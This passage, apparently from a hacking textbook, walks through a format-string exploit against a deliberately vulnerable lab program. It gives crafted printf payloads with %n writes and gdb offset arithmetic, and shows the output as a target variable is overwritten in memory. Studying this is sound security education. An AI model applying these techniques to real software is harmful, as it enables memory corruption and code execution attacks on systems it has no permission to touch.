Graphics Programs Reference
In-Depth Information
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
[*] test_val @ 0x080497f4 = 52 0x00000034
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 52 + 8"
$1 = 161
reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
[*] test_val @ 0x080497f4 = 205 0x000000cd
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xab - 0xcd"
$1 = -34
r
eader@hacking:~/booksrc $
Instead of trying to subtract 34 from 205, the least significant byte is just
wrapped around to
0x1AB
by adding 222 to 205 to produce 427, which is the
decimal representation of
0x1AB
. This technique can be used to wrap around
again and set the least significant byte to
0x06
for the third write.
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x1ab - 0xcd"
$1 = 222
reader@hacking:~/booksrc $ gdb -q --batch -ex "p /d 0x1ab"
$1 = 427
reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
4b4e554a
[*] test_val @ 0x080497f4 = 109517 0x0001abcd
[*] next_val @ 0x080497f8 = 286331136 0x11111100
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x06 - 0xab"
$1 = -165
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x106 - 0xab"
$1 = 91
reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
4b4e554a
